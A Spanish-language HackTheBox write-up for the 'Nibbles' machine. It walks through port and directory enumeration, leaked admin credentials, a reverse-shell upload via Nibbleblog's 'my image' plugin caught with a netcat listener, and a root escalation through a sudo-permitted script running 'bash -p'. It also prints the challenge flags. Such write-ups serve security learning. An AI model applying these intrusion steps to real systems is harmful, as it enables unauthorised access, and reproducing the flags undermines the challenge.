Nibbles es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Nibbles 10.10.10.75 a /etc/hosts como nibbles.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.10.75 Nmap scan report for 10.10.10.75 Host is up, received echo-reply ttl 63 (0.12s latency). Scanned at 2023-12-14 15:00:27 GMT for 14s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Thu Dec 14 15:00:41 2023 -- 1 IP address (1 host up) scanned in 14.06 seconds |
Una vez detectados los puertos abiertos vamos a escanear los mismos para obtener más información al respecto
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.10.75 Nmap scan report for 10.10.10.75 Host is up (0.043s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Dec 14 15:01:04 2023 -- 1 IP address (1 host up) scanned in 9.82 seconds |
Enumeración
Completada la fase inicial vamos a revisar el portal web existente en el puerto 80 donde vemos la siguiente página web
No vemos nada de primeras así que revisamos el código fuente y encontramos un comentario con una uri
Así que accedemos a la uri recién descubierta y vemos un blog
Nada por aquí así que vamos a enumerar directorios con feroxbuster
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 |
$ feroxbuster -u http://10.10.10.75/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -x xml,txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.10.75/nibbleblog/ 🚀 Threads │ 100 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [xml, txt] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 11l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 9l 28w 321c http://10.10.10.75/nibbleblog/admin => http://10.10.10.75/nibbleblog/admin/ 200 GET 61l 168w 2987c http://10.10.10.75/nibbleblog/ 301 GET 9l 28w 323c http://10.10.10.75/nibbleblog/content => http://10.10.10.75/nibbleblog/content/ 301 GET 9l 28w 322c http://10.10.10.75/nibbleblog/themes => http://10.10.10.75/nibbleblog/themes/ 301 GET 9l 28w 323c http://10.10.10.75/nibbleblog/plugins => http://10.10.10.75/nibbleblog/plugins/ 200 GET 9l 10w 248c http://10.10.10.75/nibbleblog/admin/ajax/security.bit 200 GET 21l 20w 618c http://10.10.10.75/nibbleblog/admin/boot/admin.bit 200 GET 71l 116w 1240c http://10.10.10.75/nibbleblog/admin/js/ajax_form.bit 200 GET 0l 0w 0c http://10.10.10.75/nibbleblog/admin/kernel/plugin.class.php 200 GET 1l 3w 86c http://10.10.10.75/nibbleblog/admin/ajax/posts.php 200 GET 1l 2w 13c http://10.10.10.75/nibbleblog/admin/ajax/mobile.php 200 GET 1l 3w 86c http://10.10.10.75/nibbleblog/admin/ajax/comments.php 200 GET 42l 69w 934c http://10.10.10.75/nibbleblog/plugins/sponsors/plugin.bit 200 GET 1l 3w 86c http://10.10.10.75/nibbleblog/admin/ajax/categories.php 200 GET 1l 21w 277c http://10.10.10.75/nibbleblog/admin/js/system.php 200 GET 1l 3w 86c http://10.10.10.75/nibbleblog/admin/ajax/posts_get_video_info.php 200 GET 1l 3w 86c http://10.10.10.75/nibbleblog/admin/ajax/settings.php 200 GET 1l 3w 86c http://10.10.10.75/nibbleblog/admin/ajax/pages.php 200 GET 1l 3w 86c http://10.10.10.75/nibbleblog/admin/ajax/uploader%20(copy).php 301 GET 9l 28w 325c http://10.10.10.75/nibbleblog/languages => http://10.10.10.75/nibbleblog/languages/ 200 GET 99l 231w 2987c http://10.10.10.75/nibbleblog/plugins/twitter_cards/plugin.bit 200 GET 60l 158w 2197c http://10.10.10.75/nibbleblog/plugins/about/plugin.bit 200 GET 25l 41w 580c http://10.10.10.75/nibbleblog/plugins/slogan/plugin.bit 200 GET 2l 21w 325c http://10.10.10.75/nibbleblog/content/private/categories.xml 200 GET 125l 346w 5337c http://10.10.10.75/nibbleblog/admin/views/settings/seo.bit 200 GET 2l 50w 1936c http://10.10.10.75/nibbleblog/content/private/config.xml 200 GET 26l 69w 1278c http://10.10.10.75/nibbleblog/admin/views/plugins/list.bit 200 GET 19l 45w 728c http://10.10.10.75/nibbleblog/admin/views/plugins/config.bit 200 GET 19l 53w 763c http://10.10.10.75/nibbleblog/admin/views/user/forgot.bit 200 GET 64l 208w 3738c http://10.10.10.75/nibbleblog/admin/views/settings/image.bit 200 GET 51l 158w 2365c http://10.10.10.75/nibbleblog/admin/views/settings/username.bit 200 GET 28l 48w 932c http://10.10.10.75/nibbleblog/admin/views/settings/themes.bit 200 GET 130l 224w 3049c http://10.10.10.75/nibbleblog/admin/views/comments/list.bit 200 GET 67l 162w 2713c http://10.10.10.75/nibbleblog/admin/views/settings/regional.bit 200 GET 59l 179w 3220c http://10.10.10.75/nibbleblog/admin/views/settings/notifications.bit 200 GET 97l 309w 4774c http://10.10.10.75/nibbleblog/admin/views/settings/general.bit 200 GET 81l 265w 4729c http://10.10.10.75/nibbleblog/admin/views/comments/settings.bit 200 GET 14l 23w 530c http://10.10.10.75/nibbleblog/admin/controllers/comments/list.bit 200 GET 19l 34w 549c http://10.10.10.75/nibbleblog/admin/controllers/plugins/install.bit 200 GET 17l 24w 531c http://10.10.10.75/nibbleblog/admin/controllers/dashboard/view.bit 200 GET 11l 14w 352c http://10.10.10.75/nibbleblog/admin/controllers/settings/seo.bit 200 GET 11l 14w 352c http://10.10.10.75/nibbleblog/admin/controllers/settings/notifications.bit 200 GET 38l 48w 886c http://10.10.10.75/nibbleblog/admin/controllers/settings/themes.bit 200 GET 13l 34w 441c http://10.10.10.75/nibbleblog/admin/controllers/settings/advanced.bit 200 GET 13l 34w 412c http://10.10.10.75/nibbleblog/admin/controllers/settings/general.bit 200 GET 90l 172w 2458c http://10.10.10.75/nibbleblog/admin/views/categories/list.bit 200 GET 44l 59w 1164c http://10.10.10.75/nibbleblog/admin/controllers/user/send_forgot.bit 200 GET 47l 110w 1583c http://10.10.10.75/nibbleblog/admin/controllers/settings/username.bit 200 GET 19l 23w 570c http://10.10.10.75/nibbleblog/admin/controllers/settings/image.bit 200 GET 38l 83w 1068c http://10.10.10.75/nibbleblog/admin/templates/login/index.bit 200 GET 14l 22w 526c http://10.10.10.75/nibbleblog/admin/controllers/comments/settings.bit 200 GET 33l 107w 1360c http://10.10.10.75/nibbleblog/admin/views/categories/edit.bit 200 GET 14l 14w 356c http://10.10.10.75/nibbleblog/admin/controllers/plugins/list.bit 200 GET 59l 118w 1969c http://10.10.10.75/nibbleblog/admin/controllers/plugins/config.bit 200 GET 16l 19w 355c http://10.10.10.75/nibbleblog/admin/controllers/plugins/uninstall.bit 200 GET 51l 100w 1484c http://10.10.10.75/nibbleblog/admin/controllers/user/forgot.bit 200 GET 7l 4w 75c http://10.10.10.75/nibbleblog/admin/controllers/user/logout.bit 200 GET 78l 194w 2720c http://10.10.10.75/nibbleblog/admin/templates/easy4/index.bit 200 GET 41l 80w 1502c http://10.10.10.75/nibbleblog/admin/controllers/user/login.bit 200 GET 30l 46w 740c http://10.10.10.75/nibbleblog/admin/controllers/settings/regional.bit 200 GET 65l 111w 1556c http://10.10.10.75/nibbleblog/admin/controllers/page/new.bit 200 GET 25l 40w 747c http://10.10.10.75/nibbleblog/admin/controllers/page/list.bit 200 GET 14l 25w 524c http://10.10.10.75/nibbleblog/admin/controllers/post/list.bit 200 GET 71l 127w 1745c http://10.10.10.75/nibbleblog/admin/controllers/page/edit.bit 200 GET 9l 25w 234c http://10.10.10.75/nibbleblog/plugins/sponsors/languages/es_ES.bit 200 GET 9l 30w 249c http://10.10.10.75/nibbleblog/plugins/sponsors/languages/fr_FR.bit 200 GET 288l 921w 16627c http://10.10.10.75/nibbleblog/languages/zh_TW.bit 200 GET 305l 1646w 25081c http://10.10.10.75/nibbleblog/languages/ru_RU.bit 200 GET 8l 26w 194c http://10.10.10.75/nibbleblog/plugins/twitter_cards/languages/en_US.bit 200 GET 8l 23w 274c http://10.10.10.75/nibbleblog/plugins/twitter_cards/languages/ru_RU.bit 200 GET 8l 24w 195c http://10.10.10.75/nibbleblog/plugins/twitter_cards/languages/fr_FR.bit 200 GET 288l 1645w 18190c http://10.10.10.75/nibbleblog/languages/pl_PL.bit 200 GET 8l 17w 134c http://10.10.10.75/nibbleblog/plugins/twitter_cards/languages/es_ES.bit 200 GET 288l 1942w 19170c http://10.10.10.75/nibbleblog/languages/fr_FR.bit 200 GET 288l 1748w 17998c http://10.10.10.75/nibbleblog/languages/pt_PT.bit 200 GET 288l 2061w 18787c http://10.10.10.75/nibbleblog/languages/vi_VI.bit 200 GET 287l 1754w 17569c http://10.10.10.75/nibbleblog/languages/nl_NL.bit 200 GET 288l 1810w 18341c http://10.10.10.75/nibbleblog/languages/es_ES.bit 200 GET 288l 905w 16495c http://10.10.10.75/nibbleblog/languages/zh_CN.bit 200 GET 288l 1797w 18351c http://10.10.10.75/nibbleblog/languages/it_IT.bit 200 GET 326l 1740w 17135c http://10.10.10.75/nibbleblog/languages/en_US.bit 200 GET 19l 29w 255c http://10.10.10.75/nibbleblog/plugins/hello/plugin.bit 200 GET 51l 110w 1404c http://10.10.10.75/nibbleblog/plugins/my_image/plugin.bit 200 GET 9l 12w 123c http://10.10.10.75/nibbleblog/plugins/my_image/languages/en_US.bit 200 GET 9l 12w 129c http://10.10.10.75/nibbleblog/plugins/my_image/languages/es_ES.bit 200 GET 9l 12w 129c http://10.10.10.75/nibbleblog/plugins/my_image/languages/fr_FR.bit 200 GET 8l 11w 106c http://10.10.10.75/nibbleblog/plugins/hello/languages/en_US.bit 200 GET 8l 11w 139c http://10.10.10.75/nibbleblog/plugins/hello/languages/ru_RU.bit 200 GET 9l 11w 172c http://10.10.10.75/nibbleblog/plugins/my_image/languages/ru_RU.bit 200 GET 8l 11w 109c http://10.10.10.75/nibbleblog/plugins/hello/languages/fr_FR.bit 200 GET 56l 112w 1439c http://10.10.10.75/nibbleblog/plugins/analytics/plugin.bit 200 GET 42l 70w 951c http://10.10.10.75/nibbleblog/plugins/html_code/plugin.bit 200 GET 36l 70w 1331c http://10.10.10.75/nibbleblog/plugins/quick_links/plugin.bit 200 GET 42l 73w 1016c http://10.10.10.75/nibbleblog/plugins/maintenance_mode/plugin.bit 200 GET 86l 217w 2788c http://10.10.10.75/nibbleblog/plugins/open_graph/plugin.bit 200 GET 9l 35w 418c http://10.10.10.75/nibbleblog/plugins/analytics/languages/ru_RU.bit 200 GET 9l 37w 312c http://10.10.10.75/nibbleblog/plugins/analytics/languages/fr_FR.bit 200 GET 9l 36w 280c http://10.10.10.75/nibbleblog/plugins/analytics/languages/en_US.bit 200 GET 9l 21w 169c http://10.10.10.75/nibbleblog/plugins/html_code/languages/en_US.bit 200 GET 9l 19w 168c http://10.10.10.75/nibbleblog/plugins/html_code/languages/es_ES.bit 200 GET 9l 39w 309c http://10.10.10.75/nibbleblog/plugins/analytics/languages/es_ES.bit 200 GET 9l 21w 178c http://10.10.10.75/nibbleblog/plugins/html_code/languages/fr_FR.bit 200 GET 9l 19w 207c http://10.10.10.75/nibbleblog/plugins/html_code/languages/ru_RU.bit 200 GET 8l 12w 109c http://10.10.10.75/nibbleblog/plugins/open_graph/languages/es_ES.bit 200 GET 9l 17w 161c http://10.10.10.75/nibbleblog/plugins/maintenance_mode/languages/es_ES.bit 200 GET 8l 12w 109c http://10.10.10.75/nibbleblog/plugins/open_graph/languages/fr_FR.bit 404 GET 9l 33w 298c http://10.10.10.75/nibbleblog/reports%20list 404 GET 9l 33w 302c http://10.10.10.75/nibbleblog/reports%20list.xml 200 GET 1l 3w 86c http://10.10.10.75/nibbleblog/admin/ajax/uploader.php 200 GET 15l 16w 468c http://10.10.10.75/nibbleblog/admin/boot/feed.bit 200 GET 51l 99w 902c http://10.10.10.75/nibbleblog/admin/js/functions.js 200 GET 13l 15w 430c http://10.10.10.75/nibbleblog/admin/boot/ajax.bit 200 GET 25l 24w 767c http://10.10.10.75/nibbleblog/admin/boot/blog.bit 200 GET 2l 45w 1142c http://10.10.10.75/nibbleblog/content/private/notifications.xml 200 GET 36l 61w 805c http://10.10.10.75/nibbleblog/plugins/categories/plugin.bit 200 GET 0l 0w 0c http://10.10.10.75/nibbleblog/content/private/keys.php 200 GET 2l 6w 95c http://10.10.10.75/nibbleblog/content/private/pages.xml 200 GET 2l 6w 93c http://10.10.10.75/nibbleblog/content/private/posts.xml 200 GET 2l 6w 97c http://10.10.10.75/nibbleblog/content/private/tags.xml 200 GET 25l 74w 1127c http://10.10.10.75/nibbleblog/admin/views/user/login.bit 200 GET 2l 14w 431c http://10.10.10.75/nibbleblog/content/private/comments.xml 200 GET 0l 0w 0c http://10.10.10.75/nibbleblog/content/private/shadow.php 200 GET 2l 17w 502c http://10.10.10.75/nibbleblog/content/private/users.xml 200 GET 96l 152w 2439c http://10.10.10.75/nibbleblog/admin/views/page/list.bit 200 GET 30l 37w 563c http://10.10.10.75/nibbleblog/admin/views/page/new.bit 200 GET 11l 22w 305c http://10.10.10.75/nibbleblog/admin/views/user/send_forgot.bit 200 GET 59l 99w 1283c http://10.10.10.75/nibbleblog/plugins/latest_posts/plugin.bit 200 GET 109l 229w 3125c http://10.10.10.75/nibbleblog/admin/controllers/post/edit.bit 200 GET 89l 156w 2079c http://10.10.10.75/nibbleblog/admin/controllers/post/new.bit 200 GET 39l 65w 898c http://10.10.10.75/nibbleblog/plugins/pages/plugin.bit 200 GET 288l 1575w 17763c http://10.10.10.75/nibbleblog/languages/de_DE.bit 200 GET 16l 51w 555c http://10.10.10.75/nibbleblog/themes/note-2/config.bit 200 GET 30l 99w 1073c http://10.10.10.75/nibbleblog/themes/techie/config.bit 200 GET 68l 134w 1688c http://10.10.10.75/nibbleblog/plugins/tag_cloud/plugin.bit 200 GET 93l 172w 2327c http://10.10.10.75/nibbleblog/admin/views/post/new_video.bit 200 GET 33l 41w 620c http://10.10.10.75/nibbleblog/admin/views/post/new_simple.bit 200 GET 16l 33w 463c http://10.10.10.75/nibbleblog/themes/simpler/config.bit |
Si accedemos a través del navegador vemos los ficheros existentes debido a que esta permitido la visualización de ficheros en el servidor web así que investigando un poco encontramos un fichero de configuración interesante en la ruta
|
1 |
http://10.10.10.75/nibbleblog/content/private/config.xml |
Y después de algunas pruebas obtenemos unas credenciales para el usuario admin
|
1 |
admin:nibbles |
Seguimos investigando y encontramos el fichero readme en la url
|
1 |
http://10.10.10.75/nibbleblog/README |
Y en el mismo el codename de la versión utilizada
|
1 2 3 4 |
====== Nibbleblog ====== Version: v4.0.3 Codename: Coffee Release date: 2014-04-01 |
Revisamos la versión en google y encontramos un exploit para metasploit para la subida arbitraria de ficheros
https://www.exploit-db.com/exploits/38489
Aunque para no complicarnos demasiado vamos a hacer el ataque a manopla.
Accedemos a la administración con las credenciales obtenidas y subiremos una revshell en el plugin «my image»
Una vez subida cargaremos el fichero en una nueva pestaña o con un curl
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php
Y obtendremos una revshell
|
1 2 3 4 5 6 7 8 9 10 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.75] 42942 Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 10:21:20 up 22 min, 0 users, load average: 0.00, 0.01, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler) /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler) |
Obteniendo la flag de user
Una vez dentro de la máquina cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ cd home $ ls -l total 4 drwxr-xr-x 3 nibbler nibbler 4096 Dec 29 2017 nibbler $ cd nibbler $ ls -l total 8 -r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip -r-------- 1 nibbler nibbler 33 Dec 14 09:59 user.txt $ cat user.txt c0aae8b081a2cf45c6c84575d2071834 $ |
Escalado de privilegios
Ya dentro y con la primera flag, mejoramos nuestra shell y revisamos los permisos que tenemos
|
1 2 3 4 5 6 7 8 9 10 |
$ script /dev/null -c bash Script started, file is /dev/null nibbler@Nibbles:/home/nibbler$ sudo -l sudo -l Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh |
Vemos que podemos ejecutar como root el script monitor.sh pero si revisamos en la máquina el mismo no existe
|
1 2 3 |
nibbler@Nibbles:/home/nibbler$ cat /home/nibbler/personal/stuff/monitor.sh cat /home/nibbler/personal/stuff/monitor.sh cat: /home/nibbler/personal/stuff/monitor.sh: No such file or directory |
Así que vamos a crear las carpetas que faltan y el script con el siguiente contenido
|
1 2 3 4 5 6 7 8 9 |
nibbler@Nibbles:/home/nibbler$ mkdir -p personal/stuff nibbler@Nibbles:/home/nibbler$ cd personal/stuff nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh chmod +x monitor.sh nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh cat monitor.sh #!/bin/bash bash -p |
Ejecutamos y somos root
|
1 2 3 4 5 |
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh <er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh root@Nibbles:/home/nibbler/personal/stuff# id id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Y vamos a por la flag para terminar
|
1 2 3 4 |
root@Nibbles:/home/nibbler/personal/stuff# cat /root/root.txt cat /root/root.txt 9c8b8773c974c8101bcaab9bbd568f34 root@Nibbles:/home/nibbler/personal/stuff# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
